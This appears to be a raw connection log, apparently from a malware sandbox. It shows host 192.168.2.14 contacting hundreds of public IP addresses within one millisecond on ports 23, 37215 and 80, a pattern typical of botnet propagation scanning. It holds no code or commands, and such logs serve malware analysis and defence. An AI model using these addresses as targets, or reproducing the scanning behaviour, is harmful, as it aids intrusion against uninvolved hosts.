Oct 14, 2024 17:34:13.105619907 CEST	29508	23	192.168.2.14	164.17.21.210
Oct 14, 2024 17:34:13.105628014 CEST	29508	23	192.168.2.14	222.235.181.230
Oct 14, 2024 17:34:13.105628014 CEST	29508	23	192.168.2.14	89.173.104.18
Oct 14, 2024 17:34:13.105628014 CEST	29625	37215	192.168.2.14	41.140.155.218
Oct 14, 2024 17:34:13.105628014 CEST	29625	37215	192.168.2.14	41.49.198.86
Oct 14, 2024 17:34:13.105628014 CEST	29625	37215	192.168.2.14	197.204.158.124
Oct 14, 2024 17:34:13.105664968 CEST	29508	23	192.168.2.14	197.237.17.40
Oct 14, 2024 17:34:13.105664968 CEST	29625	37215	192.168.2.14	41.155.250.49
Oct 14, 2024 17:34:13.105664968 CEST	29508	23	192.168.2.14	174.120.166.240
Oct 14, 2024 17:34:13.105664968 CEST	29625	37215	192.168.2.14	156.153.40.180
Oct 14, 2024 17:34:13.105664968 CEST	29625	37215	192.168.2.14	197.50.15.75
Oct 14, 2024 17:34:13.105664968 CEST	29508	23	192.168.2.14	95.44.214.242
Oct 14, 2024 17:34:13.105664968 CEST	29508	23	192.168.2.14	1.166.163.91
Oct 14, 2024 17:34:13.105664968 CEST	29625	37215	192.168.2.14	197.95.7.75
Oct 14, 2024 17:34:13.105668068 CEST	29625	37215	192.168.2.14	41.175.29.174
Oct 14, 2024 17:34:13.105668068 CEST	29508	23	192.168.2.14	210.63.183.202
Oct 14, 2024 17:34:13.105668068 CEST	29508	23	192.168.2.14	5.156.179.164
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	89.26.220.215
Oct 14, 2024 17:34:13.105670929 CEST	29508	23	192.168.2.14	90.96.89.57
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	138.170.53.56
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	12.84.213.77
Oct 14, 2024 17:34:13.105670929 CEST	29625	37215	192.168.2.14	41.20.129.17
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	52.177.190.136
Oct 14, 2024 17:34:13.105668068 CEST	29625	37215	192.168.2.14	197.22.65.152
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	41.70.117.23
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	213.239.93.56
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	41.240.142.60
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	38.178.102.202
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	192.128.108.184
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	218.144.65.123
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	5.237.196.169
Oct 14, 2024 17:34:13.105670929 CEST	29625	37215	192.168.2.14	197.57.141.136
Oct 14, 2024 17:34:13.105668068 CEST	29626	80	192.168.2.14	200.145.31.7
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	197.90.13.184
Oct 14, 2024 17:34:13.105668068 CEST	29626	80	192.168.2.14	77.183.255.52
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	151.112.4.194
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	156.243.122.22
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	102.227.8.5
Oct 14, 2024 17:34:13.105670929 CEST	29508	23	192.168.2.14	210.234.117.82
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	132.79.11.156
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	197.204.125.229
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	47.46.122.99
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	173.170.255.35
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	180.202.161.242
Oct 14, 2024 17:34:13.105668068 CEST	29508	23	192.168.2.14	45.156.27.21
Oct 14, 2024 17:34:13.105670929 CEST	29625	37215	192.168.2.14	197.2.191.246
Oct 14, 2024 17:34:13.105668068 CEST	29625	37215	192.168.2.14	41.124.84.198
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	221.57.25.248
Oct 14, 2024 17:34:13.105668068 CEST	29508	23	192.168.2.14	173.48.150.155
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	101.214.174.107
Oct 14, 2024 17:34:13.105668068 CEST	29508	23	192.168.2.14	160.174.91.148
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	42.238.250.233
Oct 14, 2024 17:34:13.105668068 CEST	29625	37215	192.168.2.14	41.76.239.76
Oct 14, 2024 17:34:13.105669975 CEST	29625	37215	192.168.2.14	41.153.160.245
Oct 14, 2024 17:34:13.105668068 CEST	29626	80	192.168.2.14	12.3.152.178
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	103.139.231.215
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	73.216.108.171
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	138.41.82.148
Oct 14, 2024 17:34:13.105669022 CEST	29626	80	192.168.2.14	154.202.103.116
Oct 14, 2024 17:34:13.105668068 CEST	29626	80	192.168.2.14	2.62.251.19
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	197.115.51.142
Oct 14, 2024 17:34:13.105670929 CEST	29508	23	192.168.2.14	77.166.140.113
Oct 14, 2024 17:34:13.105668068 CEST	29625	37215	192.168.2.14	41.21.29.51
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	164.243.7.28
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	17.170.192.6
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	213.75.13.159
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	185.46.232.110
Oct 14, 2024 17:34:13.105669975 CEST	29625	37215	192.168.2.14	156.201.188.34
Oct 14, 2024 17:34:13.105670929 CEST	29625	37215	192.168.2.14	156.198.229.106
Oct 14, 2024 17:34:13.105669975 CEST	29508	23	192.168.2.14	194.69.177.203
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	116.201.201.237
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	68.62.63.32
Oct 14, 2024 17:34:13.105707884 CEST	29626	80	192.168.2.14	176.27.120.78
Oct 14, 2024 17:34:13.105669022 CEST	29508	23	192.168.2.14	200.126.200.149
Oct 14, 2024 17:34:13.105670929 CEST	29626	80	192.168.2.14	134.228.152.23
Oct 14, 2024 17:34:13.105709076 CEST	29625	37215	192.168.2.14	41.101.167.199
Oct 14, 2024 17:34:13.105669022 CEST	29625	37215	192.168.2.14	197.232.154.236
Oct 14, 2024 17:34:13.105707884 CEST	29626	80	192.168.2.14	102.144.181.25
Oct 14, 2024 17:34:13.105709076 CEST	29625	37215	192.168.2.14	156.89.15.173
Oct 14, 2024 17:34:13.105707884 CEST	29625	37215	192.168.2.14	197.215.5.200
Oct 14, 2024 17:34:13.105709076 CEST	29626	80	192.168.2.14	180.42.63.22
Oct 14, 2024 17:34:13.105714083 CEST	29626	80	192.168.2.14	129.163.154.27
Oct 14, 2024 17:34:13.105715990 CEST	29626	80	192.168.2.14	93.224.121.156
Oct 14, 2024 17:34:13.105714083 CEST	29626	80	192.168.2.14	106.197.53.216
Oct 14, 2024 17:34:13.105715990 CEST	29626	80	192.168.2.14	12.182.203.224
Oct 14, 2024 17:34:13.105714083 CEST	29625	37215	192.168.2.14	156.78.153.50
Oct 14, 2024 17:34:13.105715036 CEST	29626	80	192.168.2.14	152.191.111.132
Oct 14, 2024 17:34:13.105715036 CEST	29626	80	192.168.2.14	130.233.210.67
Oct 14, 2024 17:34:13.105715036 CEST	29626	80	192.168.2.14	222.43.164.176
Oct 14, 2024 17:34:13.105740070 CEST	29626	80	192.168.2.14	196.211.9.73
Oct 14, 2024 17:34:13.105740070 CEST	29626	80	192.168.2.14	163.68.8.114
Oct 14, 2024 17:34:13.105740070 CEST	29626	80	192.168.2.14	87.254.15.167
Oct 14, 2024 17:34:13.105740070 CEST	29626	80	192.168.2.14	25.58.127.128
Oct 14, 2024 17:34:13.105740070 CEST	29626	80	192.168.2.14	14.213.6.47
Oct 14, 2024 17:34:13.105745077 CEST	29626	80	192.168.2.14	216.73.35.145
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	171.156.152.231
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	121.246.142.236
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	186.199.233.58
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	201.0.53.65
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	145.100.155.144
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	114.173.102.11
Oct 14, 2024 17:34:13.105776072 CEST	29626	80	192.168.2.14	68.194.144.183
Oct 14, 2024 17:34:13.105776072 CEST	29625	37215	192.168.2.14	197.74.26.132
Oct 14, 2024 17:34:13.105782032 CEST	29625	37215	192.168.2.14	156.188.182.237
Oct 14, 2024 17:34:13.105782032 CEST	29626	80	192.168.2.14	73.5.50.82
Oct 14, 2024 17:34:13.105782032 CEST	29626	80	192.168.2.14	94.170.60.210
Oct 14, 2024 17:34:13.105782032 CEST	29626	80	192.168.2.14	138.48.20.110
Oct 14, 2024 17:34:13.105782032 CEST	29625	37215	192.168.2.14	156.209.184.194
Oct 14, 2024 17:34:13.105782032 CEST	29625	37215	192.168.2.14	156.112.189.128
Oct 14, 2024 17:34:13.105782032 CEST	29625	37215	192.168.2.14	156.45.4.183
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	197.79.109.228
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	192.187.151.254
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.175.184.164
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	160.73.110.130
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	171.141.54.126
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	156.30.19.178
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.162.7.229
Oct 14, 2024 17:34:13.105789900 CEST	29626	80	192.168.2.14	168.104.96.197
Oct 14, 2024 17:34:13.105788946 CEST	29625	37215	192.168.2.14	156.147.119.27
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.64.151.138
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	197.134.64.14
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	156.190.193.92
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	80.26.32.118
Oct 14, 2024 17:34:13.105793953 CEST	29626	80	192.168.2.14	34.104.63.206
Oct 14, 2024 17:34:13.105788946 CEST	29626	80	192.168.2.14	185.172.43.23
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	141.140.109.50
Oct 14, 2024 17:34:13.105788946 CEST	29626	80	192.168.2.14	39.239.209.192
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.90.169.17
Oct 14, 2024 17:34:13.105789900 CEST	29625	37215	192.168.2.14	156.179.161.40
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	159.135.229.103
Oct 14, 2024 17:34:13.105788946 CEST	29626	80	192.168.2.14	195.1.247.41
Oct 14, 2024 17:34:13.105789900 CEST	29625	37215	192.168.2.14	156.42.139.29
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.221.146.71
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	150.115.188.9
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	74.43.162.211
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.175.222.61
Oct 14, 2024 17:34:13.105788946 CEST	29625	37215	192.168.2.14	197.79.51.213
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	156.91.97.52
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	103.236.130.9
Oct 14, 2024 17:34:13.105788946 CEST	29626	80	192.168.2.14	195.129.102.96
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	41.223.68.165
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	86.93.230.226
Oct 14, 2024 17:34:13.105784893 CEST	29625	37215	192.168.2.14	197.247.136.170
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	181.156.84.217
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	145.233.171.32
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	156.143.211.212
Oct 14, 2024 17:34:13.105794907 CEST	29625	37215	192.168.2.14	41.90.205.104
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	143.95.129.37
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	128.161.16.24
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	60.193.97.136
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	121.246.86.138
Oct 14, 2024 17:34:13.105788946 CEST	29625	37215	192.168.2.14	156.244.218.28
Oct 14, 2024 17:34:13.105784893 CEST	29626	80	192.168.2.14	186.33.151.221
Oct 14, 2024 17:34:13.105789900 CEST	29626	80	192.168.2.14	132.247.94.15
Oct 14, 2024 17:34:13.105792999 CEST	29625	37215	192.168.2.14	41.1.122.24
Oct 14, 2024 17:34:13.105789900 CEST	29626	80	192.168.2.14	49.202.42.9
Oct 14, 2024 17:34:13.105788946 CEST	29625	37215	192.168.2.14	156.232.250.115
Oct 14, 2024 17:34:13.105789900 CEST	29626	80	192.168.2.14	157.86.139.107
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	140.79.192.215
Oct 14, 2024 17:34:13.105794907 CEST	29626	80	192.168.2.14	41.248.252.15
Oct 14, 2024 17:34:13.105792999 CEST	29626	80	192.168.2.14	19.218.236.72
Oct 14, 2024 17:34:13.105789900 CEST	29625	37215	192.168.2.14	197.164.23.204
Oct 14, 2024 17:34:13.105822086 CEST	29625	37215	192.168.2.14	41.59.161.209
Oct 14, 2024 17:34:13.105789900 CEST	29625	37215	192.168.2.14	197.88.217.135
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	98.43.215.129
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	207.143.127.148
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	143.179.139.8
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	162.192.127.173
Oct 14, 2024 17:34:13.105825901 CEST	29626	80	192.168.2.14	68.101.156.219
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	106.181.132.17
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	41.34.202.14
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	156.119.21.200
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	61.149.100.160
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	146.25.229.78
Oct 14, 2024 17:34:13.105829000 CEST	29626	80	192.168.2.14	91.66.179.75
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	46.247.19.160
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	197.70.20.197
Oct 14, 2024 17:34:13.105824947 CEST	29625	37215	192.168.2.14	197.151.114.151
Oct 14, 2024 17:34:13.105825901 CEST	29625	37215	192.168.2.14	156.38.156.54
Oct 14, 2024 17:34:13.105829000 CEST	29626	80	192.168.2.14	111.189.64.142
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	41.106.5.188
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	24.157.63.131
Oct 14, 2024 17:34:13.105829000 CEST	29626	80	192.168.2.14	176.148.209.237
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	134.24.145.125
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	50.38.169.150
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	41.100.91.112
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	197.72.93.37
Oct 14, 2024 17:34:13.105824947 CEST	29626	80	192.168.2.14	118.239.21.149
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	50.97.1.113
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	97.203.149.139
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	185.146.159.148
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	41.90.253.190
Oct 14, 2024 17:34:13.105825901 CEST	29626	80	192.168.2.14	41.230.8.163
Oct 14, 2024 17:34:13.105822086 CEST	29625	37215	192.168.2.14	197.91.10.31
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	97.128.159.150
Oct 14, 2024 17:34:13.105825901 CEST	29626	80	192.168.2.14	110.81.16.62
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	156.41.175.236
Oct 14, 2024 17:34:13.105822086 CEST	29626	80	192.168.2.14	39.48.4.213
Oct 14, 2024 17:34:13.105828047 CEST	29625	37215	192.168.2.14	41.22.254.110
Oct 14, 2024 17:34:13.105828047 CEST	29626	80	192.168.2.14	57.239.210.139
Oct 14, 2024 17:34:13.105829000 CEST	29626	80	192.168.2.14	92.1.64.62
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	23.48.132.84
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	90.198.0.194
Oct 14, 2024 17:34:13.105853081 CEST	29625	37215	192.168.2.14	41.34.127.191
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	204.150.113.7
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	126.38.94.2
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	157.222.111.128
Oct 14, 2024 17:34:13.105853081 CEST	29625	37215	192.168.2.14	156.59.10.39
Oct 14, 2024 17:34:13.105853081 CEST	29626	80	192.168.2.14	138.67.67.171
Oct 14, 2024 17:34:13.105855942 CEST	29626	80	192.168.2.14	58.44.39.127
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	204.12.89.86
Oct 14, 2024 17:34:13.105855942 CEST	29625	37215	192.168.2.14	197.121.83.119
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	95.245.233.236
Oct 14, 2024 17:34:13.105855942 CEST	29626	80	192.168.2.14	167.227.99.222
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	196.214.100.90
Oct 14, 2024 17:34:13.105855942 CEST	29626	80	192.168.2.14	115.61.40.65
Oct 14, 2024 17:34:13.105856895 CEST	29625	37215	192.168.2.14	156.181.204.61
Oct 14, 2024 17:34:13.105855942 CEST	29626	80	192.168.2.14	4.72.99.119
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	180.190.43.103
Oct 14, 2024 17:34:13.105859041 CEST	29626	80	192.168.2.14	165.217.191.62
Oct 14, 2024 17:34:13.105859041 CEST	29626	80	192.168.2.14	197.244.183.70
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	44.179.33.109
Oct 14, 2024 17:34:13.105855942 CEST	29626	80	192.168.2.14	146.235.100.16
Oct 14, 2024 17:34:13.105859041 CEST	29625	37215	192.168.2.14	41.201.34.238
Oct 14, 2024 17:34:13.105864048 CEST	29626	80	192.168.2.14	178.147.18.67
Oct 14, 2024 17:34:13.105859041 CEST	29626	80	192.168.2.14	153.189.28.78
Oct 14, 2024 17:34:13.105864048 CEST	29625	37215	192.168.2.14	197.113.205.83
Oct 14, 2024 17:34:13.105856895 CEST	29625	37215	192.168.2.14	197.132.215.250
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	212.167.200.76
Oct 14, 2024 17:34:13.105864048 CEST	29626	80	192.168.2.14	202.71.185.150
Oct 14, 2024 17:34:13.105856895 CEST	29626	80	192.168.2.14	170.165.143.197
Oct 14, 2024 17:34:13.105864048 CEST	29626	80	192.168.2.14	165.204.87.4
Oct 14, 2024 17:34:13.105864048 CEST	29626	80	192.168.2.14	42.208.186.15
Oct 14, 2024 17:34:13.105864048 CEST	29626	80	192.168.2.14	189.223.170.122
Oct 14, 2024 17:34:13.105865002 CEST	29626	80	192.168.2.14	115.97.76.125
Oct 14, 2024 17:34:13.105865002 CEST	29625	37215	192.168.2.14	156.90.178.138
Oct 14, 2024 17:34:13.105874062 CEST	29625	37215	192.168.2.14	197.6.75.127
Oct 14, 2024 17:34:13.105874062 CEST	29626	80	192.168.2.14	54.241.69.224
Oct 14, 2024 17:34:13.105875015 CEST	29625	37215	192.168.2.14	41.125.254.34
Oct 14, 2024 17:34:13.105875015 CEST	29626	80	192.168.2.14	48.131.158.221
Oct 14, 2024 17:34:13.105875015 CEST	29625	37215	192.168.2.14	41.250.12.101
Oct 14, 2024 17:34:13.105875015 CEST	29626	80	192.168.2.14	179.15.127.120
Oct 14, 2024 17:34:13.105876923 CEST	29625	37215	192.168.2.14	156.44.142.19
Oct 14, 2024 17:34:13.105875015 CEST	29626	80	192.168.2.14	143.211.55.89
Oct 14, 2024 17:34:13.105876923 CEST	29626	80	192.168.2.14	44.110.74.23
Oct 14, 2024 17:34:13.105875015 CEST	29626	80	192.168.2.14	116.104.217.42
Oct 14, 2024 17:34:13.105876923 CEST	29625	37215	192.168.2.14	156.106.13.127
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	145.203.46.249
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	190.178.129.69
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	8.195.107.206
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	213.215.154.169
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	117.26.32.177
Oct 14, 2024 17:34:13.105875969 CEST	29625	37215	192.168.2.14	197.174.41.87
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	88.189.175.221
Oct 14, 2024 17:34:13.105875969 CEST	29625	37215	192.168.2.14	41.193.209.1
Oct 14, 2024 17:34:13.105880022 CEST	29626	80	192.168.2.14	223.248.115.192
Oct 14, 2024 17:34:13.105875969 CEST	29626	80	192.168.2.14	100.172.20.122
Oct 14, 2024 17:34:13.105882883 CEST	29625	37215	192.168.2.14	156.3.21.200
Oct 14, 2024 17:34:13.105875969 CEST	29626	80	192.168.2.14	197.34.154.115
Oct 14, 2024 17:34:13.105882883 CEST	29625	37215	192.168.2.14	156.101.222.14
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	219.89.162.120
Oct 14, 2024 17:34:13.105875969 CEST	29625	37215	192.168.2.14	197.74.181.127
Oct 14, 2024 17:34:13.105885029 CEST	29625	37215	192.168.2.14	156.60.42.187
Oct 14, 2024 17:34:13.105882883 CEST	29626	80	192.168.2.14	74.32.251.165
Oct 14, 2024 17:34:13.105875969 CEST	29626	80	192.168.2.14	143.98.84.73
Oct 14, 2024 17:34:13.105882883 CEST	29626	80	192.168.2.14	115.249.59.48
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	51.60.238.160
Oct 14, 2024 17:34:13.105882883 CEST	29626	80	192.168.2.14	84.178.127.184
Oct 14, 2024 17:34:13.105885029 CEST	29625	37215	192.168.2.14	41.135.200.182
Oct 14, 2024 17:34:13.105882883 CEST	29626	80	192.168.2.14	112.167.229.94
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	128.193.115.190
Oct 14, 2024 17:34:13.105882883 CEST	29625	37215	192.168.2.14	156.58.160.65
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	144.62.30.18
Oct 14, 2024 17:34:13.105882883 CEST	29626	80	192.168.2.14	221.240.161.20
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	124.144.74.73
Oct 14, 2024 17:34:13.105885029 CEST	29626	80	192.168.2.14	68.6.162.31
Oct 14, 2024 17:34:13.105896950 CEST	29626	80	192.168.2.14	180.51.178.121
Oct 14, 2024 17:34:13.105896950 CEST	29626	80	192.168.2.14	90.15.153.148
Oct 14, 2024 17:34:13.105896950 CEST	29625	37215	192.168.2.14	197.77.130.53
Oct 14, 2024 17:34:13.105896950 CEST	29625	37215	192.168.2.14	156.4.37.120
Oct 14, 2024 17:34:13.105896950 CEST	29625	37215	192.168.2.14	41.175.129.134
Oct 14, 2024 17:34:13.105896950 CEST	29625	37215	192.168.2.14	156.84.64.203
Oct 14, 2024 17:34:13.105896950 CEST	29625	37215	192.168.2.14	41.53.33.67
Oct 14, 2024 17:34:13.105897903 CEST	29626	80	192.168.2.14	157.7.246.130
Oct 14, 2024 17:34:13.105897903 CEST	29626	80	192.168.2.14	198.182.165.138
Oct 14, 2024 17:34:13.105897903 CEST	29626	80	192.168.2.14	113.237.202.50
Oct 14, 2024 17:34:13.105897903 CEST	29626	80	192.168.2.14	5.39.212.137
Oct 14, 2024 17:34:13.105935097 CEST	29626	80	192.168.2.14	172.178.29.127
Oct 14, 2024 17:34:13.105935097 CEST	29626	80	192.168.2.14	96.195.233.6
Oct 14, 2024 17:34:13.105935097 CEST	29626	80	192.168.2.14	66.240.150.211
Oct 14, 2024 17:34:13.105935097 CEST	29625	37215	192.168.2.14	41.72.38.231
Oct 14, 2024 17:34:13.105935097 CEST	29625	37215	192.168.2.14	41.1.154.81
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	186.39.72.39
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	220.40.52.71
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	212.201.79.36
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	32.160.35.225
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	163.83.189.29
Oct 14, 2024 17:34:13.105981112 CEST	29626	80	192.168.2.14	54.113.217.20
Oct 14, 2024 17:34:13.105981112 CEST	29625	37215	192.168.2.14	41.44.200.44
Oct 14, 2024 17:34:13.105982065 CEST	29626	80	192.168.2.14	70.162.197.178
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	118.32.5.227
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	78.114.254.176
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	189.102.182.51
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	103.131.138.217
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	41.182.126.161
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	94.208.95.10
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	124.233.143.79
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	77.12.81.74
Oct 14, 2024 17:34:13.105987072 CEST	29626	80	192.168.2.14	178.176.112.95
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	144.238.108.96
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	203.192.166.35
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	41.99.231.13
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	197.15.170.182
Oct 14, 2024 17:34:13.105988979 CEST	29626	80	192.168.2.14	86.28.47.65
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	8.254.4.162
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	41.93.149.86
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	41.82.236.244
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	45.127.58.53
Oct 14, 2024 17:34:13.105988979 CEST	29626	80	192.168.2.14	156.124.115.96
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	112.48.62.2
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	156.43.29.219
Oct 14, 2024 17:34:13.105988026 CEST	29625	37215	192.168.2.14	156.21.247.95
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	40.190.163.171
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	220.157.247.200
Oct 14, 2024 17:34:13.105988979 CEST	29626	80	192.168.2.14	62.252.54.68
Oct 14, 2024 17:34:13.105988026 CEST	29625	37215	192.168.2.14	197.220.207.51
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	36.64.7.125
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	36.104.5.246
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	204.214.173.226
Oct 14, 2024 17:34:13.105987072 CEST	29626	80	192.168.2.14	91.38.241.199
